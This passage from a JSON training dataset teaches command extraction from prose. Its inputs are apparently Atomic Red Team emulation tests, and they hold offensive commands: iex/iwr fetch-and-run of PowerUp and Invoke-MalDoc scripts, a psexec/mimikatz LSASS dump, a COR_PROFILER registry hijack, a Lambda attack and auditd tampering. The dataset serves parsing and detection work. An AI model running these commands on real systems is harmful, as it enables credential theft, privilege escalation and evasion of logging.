--iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\\\"value(KEY_ID)\\\" --limit=1`\\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet\\n\", \"Write-Host \\\"Creating registry keys in HKCU:Software\\\\Classes\\\\CLSID\\\\#{clsid_guid}\\\" -ForegroundColor Cyan\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Classes\\\\CLSID\\\\#{clsid_guid}\\\\InprocServer32\\\" -Value \\\"#{file_name}\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_ENABLE_PROFILING\\\" -PropertyType String -Value \\\"1\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_PROFILER\\\" -PropertyType String -Value \\\"#{clsid_guid}\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_PROFILER_PATH\\\" -PropertyType String -Value \\\"#{file_name}\\\" -Force | Out-Null\\nWrite-Host \\\"executing eventvwr.msc\\\" -ForegroundColor Cyan\\nSTART MMC.EXE EVENTVWR.MSC\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To modify an existing Lambda function for executing arbitrary code, use the following command: Import-Module \"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\" -Force\n$access_key = \"#{access_key}\"\n$secret_key = \"#{secret_key}\"\n$session_token = \"#{session_token}\"\n$aws_profile = \"#{profile}\"\n$region = \"#{region}\"\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\"\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\" -TerraformVariables @(\"profile=T1648-1\", \"region=$region\")\nInvoke-LambdaAttack -AWSProfile \"T1648-1\" -AWSRegion $region; This atomic test loads an XLL file via the Excel add-ins library, triggering Notepad.exe as a child process (without persistent execution like malware would), with the command:\n$excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n Write-Host \"64-bit Office\"\n $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\")\n}\nelse{\n Write-Host \"32-bit Office\"\n $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\")\n}\n", "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\\\" -Force\\n$access_key = \\\"#{access_key}\\\"\\n$secret_key = \\\"#{secret_key}\\\"\\n$session_token = \\\"#{session_token}\\\"\\n$aws_profile = \\\"#{profile}\\\"\\n$region = \\\"#{region}\\\"\\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\"\\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\" -TerraformVariables @(\\\"profile=T1648-1\\\", \\\"region=$region\\\")\\nInvoke-LambdaAttack -AWSProfile \\\"T1648-1\\\" -AWSRegion $region\\n\", \"$excelApp = New-Object -COMObject \\\"Excel.Application\\\"\\nif(-not $excelApp.path.contains(\\\"Program Files (x86)\\\")){\\n Write-Host \\\"64-bit Office\\\"\\n $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\\\")\\n}\\nelse{\\n Write-Host \\\"32-bit Office\\\"\\n $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\\\")\\n}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To inject and execute shellcode in a new process, particularly designed for x86-64 Windows 10 machines, use this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"; For domain controllers in Active Directory environments, you can inject a new thread to dump LSASS content by executing this command: \"#{psexec_path}\" /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"#{txt_path}\\\" -officeProduct \\\"Word\\\" -sub \\\"Execute\\\"\\n\", \"\\\"#{psexec_path}\\\" /accepteula \\\\\\\\#{machine} -c #{mimikatz_path} \\\"lsadump::lsa /inject /id:500\\\" \\\"exit\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When successfully executed, this test displays installed AV software via the command: wmic.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List.; The installed antivirus products on a system can be discovered via PowerShell with the following commands: powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct\npowershell Get-WmiObject -Namespace root\\securitycenter2 -Class antivirusproduct\n", "output": "{\"command_list\": [\"wmic.exe /Namespace:\\\\\\\\root\\\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List\", \"powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct\\npowershell Get-WmiObject -Namespace root\\\\securitycenter2 -Class antivirusproduct\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When implementing this Portable Executable Injection test, run the command: Start-Process \"#{exe_binary}\"\nStart-Sleep -Seconds 7\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force. After a few seconds, look for a message box titled 'Warning' showing 'Atomic Red Team' as confirmation of success.; To stop a specific service, you can use the following command, which will display status information about the service: sc.exe stop #{service_name}", "output": "{\"command_list\": [\"Start-Process \\\"#{exe_binary}\\\"\\nStart-Sleep -Seconds 7\\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force\", \"sc.exe stop #{service_name}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary might verify remote service status through WMI, using the command: wmic /node:\"#{node}\" service where (caption like \"%#{service_search_string}%\"); To execute a process on the local host using wmic.exe, run the following command: wmic process call create #{process_to_execute}", "output": "{\"command_list\": [\"wmic /node:\\\"#{node}\\\" service where (caption like \\\"%#{service_search_string}%\\\")\\n\", \"wmic process call create #{process_to_execute}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For emulating changes to auditd configuration files, use the following command sequence: sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\n; To emulate the modification of auditd configuration files, use the following command: echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\n", "output": "{\"command_list\": [\"sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\\nif [ -f \\\"/etc/#{auditd_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\\nfi \\nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\\n\", \"echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module 